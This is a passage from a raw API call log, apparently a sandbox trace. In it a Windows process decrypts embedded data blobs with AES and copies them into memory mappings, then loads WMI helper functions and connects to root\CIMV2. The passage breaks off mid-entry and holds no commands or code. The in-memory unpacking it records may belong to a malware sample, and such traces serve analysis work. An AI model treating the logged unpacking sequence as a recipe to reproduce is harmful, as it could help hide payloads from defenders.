hKey=0x1b1c57e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1afbb830 | out: phKey=0x1afbb830*=0x1b1c5310) returned 1 [0160.941] CryptContextAddRef (hProv=0x1b1cef70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0160.941] CryptSetKeyParam (hKey=0x1b1c5310, dwParam=0x4, pbData=0x23e66c8*=0x1, dwFlags=0x0) returned 1 [0160.941] CryptSetKeyParam (hKey=0x1b1c5310, dwParam=0x1, pbData=0x23e6678, dwFlags=0x0) returned 1 [0160.941] CryptDestroyKey (hKey=0x1b1c57e0) returned 1 [0160.941] CryptReleaseContext (hProv=0x1b1cef70, dwFlags=0x0) returned 1 [0160.941] CryptReleaseContext (hProv=0x1b1cef70, dwFlags=0x0) returned 1 [0160.941] CryptDecrypt (in: hKey=0x1b1c5310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23e66e8, pdwDataLen=0x1afbb990 | out: pbData=0x23e66e8, pdwDataLen=0x1afbb990) returned 1 [0160.942] CryptDecrypt (in: hKey=0x1b1c5310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23e67d8, pdwDataLen=0x1afbb980 | out: pbData=0x23e67d8, pdwDataLen=0x1afbb980) returned 0 [0161.102] CryptDestroyKey (hKey=0x1b1c5310) returned 1 [0161.103] CryptReleaseContext (hProv=0x1b1cef70, dwFlags=0x0) returned 1 [0161.103] CryptReleaseContext (hProv=0x1b1cef70, dwFlags=0x0) returned 1 [0161.120] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4200, lpName=0x0) returned 0x468 [0161.120] memcpy (in: _Dst=0x1ada0000, _Src=0x23f3130, _Size=0x4200 | out: _Dst=0x1ada0000) returned 0x1ada0000 [0161.149] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8400, lpName=0x0) returned 0x468 [0161.150] memcpy (in: _Dst=0x1b2c0000, _Src=0x23fa3e0, _Size=0x8400 | out: _Dst=0x1b2c0000) returned 0x1b2c0000 [0161.238] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1000, lpName=0x0) returned 0x470 [0161.239] memcpy (in: _Dst=0x1b2d0000, _Src=0x2407248, _Size=0x1000 | out: _Dst=0x1b2d0000) returned 0x1b2d0000 [0161.277] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1800, lpName=0x0) returned 0x470 [0161.278] memcpy (in: _Dst=0x1b2e0000, _Src=0x244a418, _Size=0x1800 | out: _Dst=0x1b2e0000) returned 0x1b2e0000 [0161.305] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5800, lpName=0x0) returned 0x470 [0161.306] memcpy (in: _Dst=0x1b300000, _Src=0x244fda0, _Size=0x5800 | out: _Dst=0x1b300000) returned 0x1b300000 [0161.368] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x470 [0161.369] memcpy (in: _Dst=0x1b310000, _Src=0x2497df8, _Size=0x1200 | out: _Dst=0x1b310000) returned 0x1b310000 [0161.507] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a00, lpName=0x0) returned 0x488 [0161.508] memcpy (in: _Dst=0x1b320000, _Src=0x249bc40, _Size=0x5a00 | out: _Dst=0x1b320000) returned 0x1b320000 [0161.766] CryptAcquireContextW (in: phProv=0x1afbb7f8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1afbb7f8*=0x1b1cfa70) returned 1 [0161.767] CryptImportKey (in: hProv=0x1b1cfa70, pbData=0x24a9820*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1afbb780 | out: phKey=0x1afbb780*=0x1b1c4b30) returned 1 [0161.767] CryptContextAddRef (hProv=0x1b1cfa70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0161.767] CryptContextAddRef (hProv=0x1b1cfa70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0161.768] CryptDuplicateKey (in: hKey=0x1b1c4b30, pdwReserved=0x0, dwFlags=0x0, phKey=0x1afbb770 | out: phKey=0x1afbb770*=0x1b1c55b0) returned 1 [0161.768] CryptContextAddRef (hProv=0x1b1cfa70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0161.768] CryptSetKeyParam (hKey=0x1b1c55b0, dwParam=0x4, pbData=0x24a9940*=0x1, dwFlags=0x0) returned 1 [0161.768] CryptSetKeyParam (hKey=0x1b1c55b0, dwParam=0x1, pbData=0x24a98f0, dwFlags=0x0) returned 1 [0161.768] CryptDestroyKey (hKey=0x1b1c4b30) returned 1 [0161.768] CryptReleaseContext (hProv=0x1b1cfa70, dwFlags=0x0) returned 1 [0161.768] CryptReleaseContext (hProv=0x1b1cfa70, dwFlags=0x0) returned 1 [0161.768] CryptDecrypt (in: hKey=0x1b1c55b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24a9960, pdwDataLen=0x1afbb8d0 | out: pbData=0x24a9960, pdwDataLen=0x1afbb8d0) returned 1 [0161.768] CryptDecrypt (in: hKey=0x1b1c55b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24a9af0, pdwDataLen=0x1afbb8c0 | out: pbData=0x24a9af0, pdwDataLen=0x1afbb8c0) returned 0 [0161.985] CryptDestroyKey (hKey=0x1b1c55b0) returned 1 [0161.985] CryptReleaseContext (hProv=0x1b1cfa70, dwFlags=0x0) returned 1 [0161.985] CryptReleaseContext (hProv=0x1b1cfa70, dwFlags=0x0) returned 1 [0162.901] CryptAcquireContextW (in: phProv=0x1afbc7c8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1afbc7c8*=0x1b1d1b70) returned 1 [0162.902] CryptImportKey (in: hProv=0x1b1d1b70, pbData=0x2559528*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1afbc750 | out: phKey=0x1afbc750*=0x1b1c5770) returned 1 [0162.902] CryptContextAddRef (hProv=0x1b1d1b70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0162.902] CryptContextAddRef (hProv=0x1b1d1b70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0162.902] CryptDuplicateKey (in: hKey=0x1b1c5770, pdwReserved=0x0, dwFlags=0x0, phKey=0x1afbc740 | out: phKey=0x1afbc740*=0x1b1c4eb0) returned 1 [0162.902] CryptContextAddRef (hProv=0x1b1d1b70, pdwReserved=0x0, dwFlags=0x0) returned 1 [0162.903] CryptSetKeyParam (hKey=0x1b1c4eb0, dwParam=0x4, pbData=0x2559648*=0x1, dwFlags=0x0) returned 1 [0162.903] CryptSetKeyParam (hKey=0x1b1c4eb0, dwParam=0x1, pbData=0x25595f8, dwFlags=0x0) returned 1 [0162.903] CryptDestroyKey (hKey=0x1b1c5770) returned 1 [0162.903] CryptReleaseContext (hProv=0x1b1d1b70, dwFlags=0x0) returned 1 [0162.903] CryptReleaseContext (hProv=0x1b1d1b70, dwFlags=0x0) returned 1 [0162.903] CryptDecrypt (in: hKey=0x1b1c4eb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2559668, pdwDataLen=0x1afbc8a0 | out: pbData=0x2559668, pdwDataLen=0x1afbc8a0) returned 1 [0162.903] CryptDecrypt (in: hKey=0x1b1c4eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2559d58, pdwDataLen=0x1afbc890 | out: pbData=0x2559d58, pdwDataLen=0x1afbc890) returned 0 [0163.153] CryptDestroyKey (hKey=0x1b1c4eb0) returned 1 [0163.153] CryptReleaseContext (hProv=0x1b1d1b70, dwFlags=0x0) returned 1 [0163.153] CryptReleaseContext (hProv=0x1b1d1b70, dwFlags=0x0) returned 1 [0163.308] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x410 [0163.310] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc378 | out: ppv=0x1afbc378*=0x77dd58) returned 0x0 [0163.327] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1afbab00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0163.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=65, lpMultiByteStr=0x1afbb100, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dllµû\x1a", lpUsedDefaultChar=0x0) returned 65 [0163.330] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll") returned 0x7ffb15d90000 [0163.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x1afbb140, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecurity", lpUsedDefaultChar=0x0) returned 13 [0163.339] GetProcAddress (hModule=0x7ffb15d90000, lpProcName="ResetSecurity") returned 0x7ffb15d931e0 [0163.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x1afbb140, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity\x02û\x7f", lpUsedDefaultChar=0x0) returned 11 [0163.352] GetProcAddress (hModule=0x7ffb15d90000, lpProcName="SetSecurity") returned 0x7ffb15d93250 [0163.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x1afbb130, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesV\x02", lpUsedDefaultChar=0x0) returned 18 [0163.364] GetProcAddress (hModule=0x7ffb15d90000, lpProcName="BlessIWbemServices") returned 0x7ffb15d91ab0 [0163.662] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc368 | out: pAptType=0x1afbc368*=1) returned 0x0 [0163.663] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc370 | out: ppvObject=0x1afbc370*=0x0) returned 0x80004002 [0163.663] IUnknown:Release (This=0x77dd58) returned 0x0 [0163.692] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x1afbbb98 | out: lpiid=0x1afbbb98) returned 0x0 [0163.694] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbb768 | out: ppv=0x1afbb768*=0x1b1e7450) returned 0x0 [0163.720] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b1e7450, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb850 | out: ppvObject=0x1afbb850*=0x0) returned 0x80004002 [0163.720] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b1e7450, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb828 | out: ppvObject=0x1afbb828*=0x7b3e80) returned 0x0 [0163.721] WbemDefPath:IUnknown:Release (This=0x1b1e7450) returned 0x0 [0163.722] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3e80, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb5d0 | out: ppvObject=0x1afbb5d0*=0x7b3e80) returned 0x0 [0163.722] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3e80, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb660 | out: ppvObject=0x1afbb660*=0x0) returned 0x80004002 [0163.722] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3e80, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbae58 | out: ppvObject=0x1afbae58*=0x0) returned 0x80004002 [0163.722] WbemDefPath:IUnknown:AddRef (This=0x7b3e80) returned 0x3 [0163.722] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3e80, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbad18 | out: ppvObject=0x1afbad18*=0x0) returned 0x80004002 [0163.722] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3e80, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbaca0 | out: ppvObject=0x1afbaca0*=0x0) returned 0x80004002 [0163.722] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3e80, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbac90 | out: ppvObject=0x1afbac90*=0x1b1e74d0) returned 0x0 [0163.723] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b1e74d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbacb8 | out: pCid=0x1afbacb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.723] WbemDefPath:IUnknown:Release (This=0x1b1e74d0) returned 0x3 [0163.723] CoGetContextToken (in: pToken=0x1afbad40 | out: pToken=0x1afbad40) returned 0x0 [0163.726] CoGetContextToken (in: pToken=0x1afbb1c0 | out: pToken=0x1afbb1c0) returned 0x0 [0163.726] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3e80, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb280 | out: ppvObject=0x1afbb280*=0x0) returned 0x80004002 [0163.726] WbemDefPath:IUnknown:Release (This=0x7b3e80) returned 0x2 [0163.726] WbemDefPath:IUnknown:Release (This=0x7b3e80) returned 0x1 [0163.727] CoGetContextToken (in: pToken=0x1afbbfb0 | out: pToken=0x1afbbfb0) returned 0x0 [0163.727] CoGetContextToken (in: pToken=0x1afbbeb0 | out: pToken=0x1afbbeb0) returned 0x0 [0163.728] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3e80, riid=0x1afbc010*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1afbbfe0 | out: ppvObject=0x1afbbfe0*=0x7b3e80) returned 0x0 [0163.728] WbemDefPath:IUnknown:AddRef (This=0x7b3e80) returned 0x3 [0163.728] WbemDefPath:IUnknown:Release (This=0x7b3e80) returned 0x2 [0163.729] WbemDefPath:IWbemPath:SetText (This=0x7b3e80, uMode=0x4, pszPath="root\\CIMV2") returned 0x0 [0163.730] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc398 | out: puCount=0x1afbc398*=0x2) returned 0x0 [0163.730] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc390*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc390*=0xf, pszText=0x0) returned 0x0 [0163.731] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc390*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc390*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0163.733] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc3a8 | out: puCount=0x1afbc3a8*=0x2) returned 0x0 [0163.733] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc3a0*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc3a0*=0xf, pszText=0x0) returned 0x0 [0163.733] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc3a0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc3a0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0163.747] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc328 | out: ppv=0x1afbc328*=0x77dd58) returned 0x0 [0163.747] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc318 | out: pAptType=0x1afbc318*=1) returned 0x0 [0163.747] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc320 | out: ppvObject=0x1afbc320*=0x0) returned 0x80004002 [0163.747] IUnknown:Release (This=0x77dd58) returned 0x0 [0163.748] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x1afbbe18 | out: lpiid=0x1afbbe18) returned 0x0 [0163.748] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbb9e8 | out: ppv=0x1afbb9e8*=0x7d8a90) returned 0x0 [0163.756] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8a90, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbad0 | out: ppvObject=0x1afbbad0*=0x0) returned 0x80004002 [0163.756] WbemLocator:IClassFactory:CreateInstance (in: This=0x7d8a90, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbaa8 | out: ppvObject=0x1afbbaa8*=0x7d8370) returned 0x0 [0163.757] WbemLocator:IUnknown:Release (This=0x7d8a90) returned 0x0 [0163.757] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8370, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb850 | out: ppvObject=0x1afbb850*=0x7d8370) returned 0x0 [0163.757] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8370, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb8e0 | out: ppvObject=0x1afbb8e0*=0x0) returned 0x80004002 [0163.757] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8370, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb0d8 | out: ppvObject=0x1afbb0d8*=0x0) returned 0x80004002 [0163.757] WbemLocator:IUnknown:AddRef (This=0x7d8370) returned 0x3 [0163.757] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8370, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbaf98 | out: ppvObject=0x1afbaf98*=0x0) returned 0x80004002 [0163.757] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8370, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbaf20 | out: ppvObject=0x1afbaf20*=0x0) returned 0x80004002 [0163.757] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8370, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbaf10 | out: ppvObject=0x1afbaf10*=0x0) returned 0x80004002 [0163.757] CoGetContextToken (in: pToken=0x1afbafc0 | out: pToken=0x1afbafc0) returned 0x0 [0163.758] CoGetObjectContext (in: riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b1ead48 | out: ppv=0x1b1ead48*=0x77dd40) returned 0x0 [0163.759] CoGetContextToken (in: pToken=0x1afbb440 | out: pToken=0x1afbb440) returned 0x0 [0163.759] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8370, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb500 | out: ppvObject=0x1afbb500*=0x0) returned 0x80004002 [0163.759] WbemLocator:IUnknown:Release (This=0x7d8370) returned 0x2 [0163.759] WbemLocator:IUnknown:Release (This=0x7d8370) returned 0x1 [0163.761] CoGetContextToken (in: pToken=0x1afbbe80 | out: pToken=0x1afbbe80) returned 0x0 [0163.761] CoGetContextToken (in: pToken=0x1afbbd80 | out: pToken=0x1afbbd80) returned 0x0 [0163.761] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8370, riid=0x1afbbee0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1afbbeb0 | out: ppvObject=0x1afbbeb0*=0x7d8370) returned 0x0 [0163.761] WbemLocator:IUnknown:AddRef (This=0x7d8370) returned 0x3 [0163.761] WbemLocator:IUnknown:Release (This=0x7d8370) returned 0x2 [0163.763] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc2b8 | out: puCount=0x1afbc2b8*=0x2) returned 0x0 [0163.763] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=8, puBuffLength=0x1afbc2b0*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc2b0*=0xf, pszText=0x0) returned 0x0 [0163.763] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=8, puBuffLength=0x1afbc2b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc2b0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0163.763] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1afbc000 | out: ppv=0x1afbc000*=0x1b1c5b10) returned 0x0 [0163.764] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b1c5b10, strNetworkResource="\\\\.\\root\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1afbc178 | out: ppNamespace=0x1afbc178*=0x7885f0) returned 0x0 [0164.066] WbemLocator:IUnknown:QueryInterface (in: This=0x7885f0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbe78 | out: ppvObject=0x1afbbe78*=0x7d8550) returned 0x0 [0164.067] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x7d8550, pProxy=0x7885f0, pAuthnSvc=0x1afbbf40, pAuthzSvc=0x1afbbec0, pServerPrincName=0x1afbbee8, pAuthnLevel=0x1afbbec4, pImpLevel=0x1afbbed0, pAuthInfo=0x1afbbef8, pCapabilites=0x1afbbed4 | out: pAuthnSvc=0x1afbbf40*=0xa, pAuthzSvc=0x1afbbec0*=0x0, pServerPrincName=0x1afbbee8, pAuthnLevel=0x1afbbec4*=0x6, pImpLevel=0x1afbbed0*=0x2, pAuthInfo=0x1afbbef8, pCapabilites=0x1afbbed4*=0x1) returned 0x0 [0164.067] WbemLocator:IUnknown:Release (This=0x7d8550) returned 0x1 [0164.067] WbemLocator:IUnknown:QueryInterface (in: This=0x7885f0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), 